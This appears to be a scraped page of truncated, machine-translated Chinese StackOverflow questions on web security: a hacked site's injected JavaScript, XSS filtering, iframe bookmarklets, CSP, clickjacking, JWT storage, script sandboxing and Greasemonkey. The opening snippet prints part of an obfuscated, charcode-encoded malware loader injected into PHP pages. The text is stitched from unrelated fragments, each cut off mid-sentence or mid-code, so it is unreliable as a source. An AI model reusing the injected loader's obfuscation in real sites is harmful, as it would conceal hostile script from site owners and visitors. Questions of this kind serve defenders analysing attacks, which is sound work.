我们的一个网站最近遭到攻击，多个php文件被修改。此修改在页面顶部注入(inject)了javascript，但在对所有内容进行base64解码后，我遇到了以下内容，但我不知道如何继续。有没有人在这方面有任何经验，无论如何都可以弄清楚他们想要实现的目标是什么？i=0;try{avasv=prototype;}catch(z){h="harCode";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f
我想知道是否检查并删除"来自文本输入字段是否足以阻止JavaScript代码注入(inject)攻击？ 最佳答案 不，仅仅阻止特定案例是不够的-迟早会有人想出一个你没有想到的人为案例。查看此listofXSSattacks对于最常见的(可能存在其他更奇特的)。您需要将允许的语法列入白名单，而不是假设除了已知向量之外的所有内容都应该没问题。 关于javascript-XSS预防。处理<script就足够了吗？，我们在StackOverflow上找到一个类似的问题：
大家好，我有这段代码:functiontest(){req=newXMLHttpRequest();req.upload.addEventListener("progress",updateProgress,false);req.addEventListener("readystatechange",updateProgress,false);req.addEventListener("error",uploadFailed,false);req.addEventListener("abort",uploadCanceled,false);vardata=generateRandomD
有没有办法在来自不同域的iFrame上运行小书签？例如，我有一个从http://example.com加载的页面，它有一个iFrame，其源设置为http://example2.com.当我运行小书签时，它总是在http://example.com上运行，因为那是主页。不过，我想在另一个iFrame上运行它。当我尝试与iFrame交互时(例如，通过将其源属性更改为javascript:alert('test'))，Chrome显示以下错误:UnsafeJavaScriptattempttoaccessframewithURLhttp://example.comfromframewith
我在使用以下Content-Security-PolicyHTTPheader时尝试使用TinyMCE:X-WebKit-CSP:default-src'self';script-src'self''unsafe-eval';img-src*;media-src*;frame-src*;font-src*;style-src'self''unsafe-inline';report-uri/:reportcspviolation我在工具-JavaScript控制台中收到以下错误:RefusedtoexecuteJavaScriptURLbecauseitviolatesthefollow
假设您有一个JavaScript小部件，当且仅当用户想要点击它时，它需要向您的Web应用程序发出请求。您不希望此请求容易受到CSRF的攻击，因此您将iframe写入页面。基于origininheritancerules父站点将无法读取CSRFtoken。但是点击劫持(或likejacking)呢？由于CSRF，您必须在iframe中并且有x-frame-options帮不上忙，frame-busters也是如此.攻击者将应用SVGmask小部件加载后的iframe。此掩码将使iframe不可见。此时，攻击者可以将iframe的大小调整为页面的大小，或者让这个现在不可见的iframe跟随
有很多文章讨论在客户端存储JWT的最佳位置。简而言之，它们都是关于-仅限Http的安全cookie-无XSS，但易受XSRF攻击header(保存在本地存储或DOM中)-无XSRF，但易受XSS攻击我想我想出了一个非常精明的解决方案，但是，由于我在安全方面完全是菜鸟，我不确定它是真的精明还是愚蠢。那么，如果将JWT拆分，一部分保存在cookie中，另一部分保存在header中呢？它会牢不可破吗？这也应该解决“注销”问题-删除header部分会使浏览器无法登录。最好的问候，尤金。 最佳答案 JWT需要保持在一起，否则签名验证将无法进行
我正在使用javax.scripting添加对在服务器端运行任意用户上传的JavaScript的支持。显然我想保护这些脚本!Rhino本身有一个在运行时保护脚本的框架。但是，javax.scripting的文档并未提及脚本可用的安全性、权限或限制类。那么这是否只是javax.scriptingAPI中的一个巨大漏洞，它没有提供一个框架来保护它执行的脚本？我不想直接使用Rhino，因为我最初尝试过，但在将Java实例暴露给正在运行的脚本时遇到了一些问题。javax.scripting框架(在后台使用Rhino)使它变得微不足道，并且还简化了在多线程服务器中运行脚本。我想将可以在运行脚本中
关闭。这个问题需要更多focused.它目前不接受答案。想改进这个问题吗？更新问题，使其只关注一个问题editingthispost.关闭4年前。Improvethisquestion使用Javascript有哪些风险以及如何避免？
我从未真正使用过greasemonkey，但我正在考虑使用它。考虑到GreaseMonkey允许您让Internet上的随机用户更改您喜欢的网站的行为，它的安全性如何？他们可以窃取我的密码吗？看我的隐私数据？做我不想做的事？Greasemonkey有多安全？谢谢 最佳答案 考虑到GreaseMonkey允许您让互联网上随机的人改变您最喜欢的网站的行为，它有多安全？它是你允许的那么安全——但是你不是很清楚，所以让我们从几个Angular来看:网络开发人员Greasemonkey无法对您的网站执行任何使用telnet的人无法对您的网站执
